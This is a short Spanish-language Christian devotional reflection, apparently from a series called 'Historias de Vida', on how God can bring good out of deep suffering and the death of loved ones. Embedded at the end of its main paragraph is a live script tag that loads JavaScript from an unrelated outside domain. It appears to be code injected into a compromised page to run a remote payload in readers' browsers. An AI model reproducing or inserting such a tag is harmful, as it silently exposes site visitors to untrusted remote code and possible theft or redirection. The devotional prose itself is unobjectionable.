Heridas que sanan

Cuantas veces nos vemos abrumados por eventos y circunstancias que parecen opuestas al entendimiento de la voluntad de Dios. No es difícil seguir confiando en la providencia divina cuando se trata de reveses comunes. Quizá no podemos obtener la posición que ambicionamos, alguien nos trata mal o murmura de nosotros, un hijo se porta mal. Pero, ¿Qué pasa cuando en verdad quedamos aplastados ante el dolor? ¿Cómo puede surgir algo bueno de la muerte de un ser querido? ¿Podrá Dios utilizar situaciones que no arrojan esperanza alguna desde el punto de vista humano? <script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>
Historias de Vida
#27